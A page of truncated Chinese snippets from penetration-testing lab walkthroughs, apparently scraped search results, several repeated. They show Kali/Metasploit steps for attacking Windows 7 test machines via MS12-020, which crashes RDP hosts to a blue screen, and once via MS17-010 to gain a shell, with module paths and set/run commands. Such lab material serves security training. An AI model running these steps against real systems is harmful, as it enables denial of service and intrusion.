1.打开Kali2019和Win7 64位 ,确定IP地址是多少 2.确定IP地址后,进入到Kali2019的msf模块,搜索ms12-020攻击模块 3.使用第一个ms12-012模块,2012-03-16的,使用如下命令进行利用 命令:use auxiliary/dos/windows/rdp/ms12_020_maxchannelids 4.看一下这个ms12-020配置模块 5.配置rhosts为靶机IP地址:176.16.66.12...
首先先进入root用户su root# msfconsole 从终端进入msf框架# msfconsole 查找漏洞 search 12_020# search12_020 使用该漏洞利用代码# use auxiliary/dos/windows/rdp/ms12_020_maxchannelids 查看使用方法# showoptions 查看靶机的ip地址# ipconfig 查看靶机开放端口# netstat -ano 开发3389端口# 设置参数# setRHO...
方法/步骤 1 启动kail，windows7 打开工具metasploit 2 search 关键字 利用search搜索可利用的漏洞search ms12-020 搜索ms12-020漏洞 3 use auxiliary/dos/windows/rdp/ms12_020_maxchannelids 应用模块 4 show options 显示选项 5 set + 选项名 set rhost 被攻击者ip 例如：set rhost 192.168.10.110 ...
* MS12-020.rb为严格符合rdp数据包规范的ruby脚本语言的MS12-020测试PoC * * Chinese Shit.py为网上流传的MS12-020漏洞程序Python脚本wireshark v2修正版 * 西班牙语XP SP3和Win7/R2都成功 * * Chinese Shit Silic Group修正版.py为基于原Chinese Shit的python脚本的bug校正版本 * 添加了time.sleep * * rdp....
* MS12-020.rb为严格符合rdp数据包规范的ruby脚本语言的MS12-020测试PoC * * Chinese Shit.py为网上流传的MS12-020漏洞程序Python脚本wireshark v2修正版 * 西班牙语XP SP3和Win7/R2都成功 * * Chinese Shit Silic Group修正版.py为基于原Chinese Shit的python脚本的bug校正版本 * 添加了time.sleep * * rdp...
* MS12-020.rb为严格符合rdp数据包规范的ruby脚本语言的MS12-020测试PoC * * Chinese Shit.py为网上流传的MS12-020漏洞程序Python脚本wireshark v2修正版 * 西班牙语XP SP3和Win7/R2都成功 * * Chinese Shit Silic Group修正版.py为基于原Chinese Shit的python脚本的bug校正版本 * 添加了time.sleep * * rdp...
MS12-020全称Microsoft Windows远程桌面协议RDP远程代码执行漏洞, 攻击机: kali IP:192.168.222.235 靶机:win7 IP:192.168.222.142 使用nmap进行信息收集,发现开启了3389(远程桌面),使用ms12_020漏洞进行攻击 搜索模块,调用模块,设置参数,执行 执行后靶机会蓝屏,并重启...
渗透测试的一般思路: 侦查,信息收集,漏洞扫描,漏洞利用,提升权限,保持连接 本次实验只用到信息收集,漏洞扫描及漏洞利用攻击机:Kali2.0 64位(192.168.41.131)目标机:Win7 64位(192.168.41.137) 本次实验用到的知识:Nmap: -A 详细扫描操作系统指纹识别和版本检测-sS SYN扫描(半连接扫描) -sT 全连接扫描-sV 探测...
1、准备:攻击机kali、靶机win7(IP192.168.19.128) 2、打开metasploit: 3、nmap扫描靶机是否开启445端口: 4、查找ms17_010: 5、使用第一个: 6、查看需要配置的部分:show options (yes部分必填) 7、填入靶机IP :set RHOST 192.168.199.128 8、run或exploit获得靶机shell: 注:445端口... ...
1.进入kali终端,输入命令msfconsole,使用search命令搜索ms12-020模块。(tip:靶机win7) 2.使用use + 【模块名或模块前的序号】选择对应的模块后使用show options查看所需参数 3.根据所需参数使用set命令配置对应参数(这里是配置靶机的地址),然后使用run或exploit运行 ...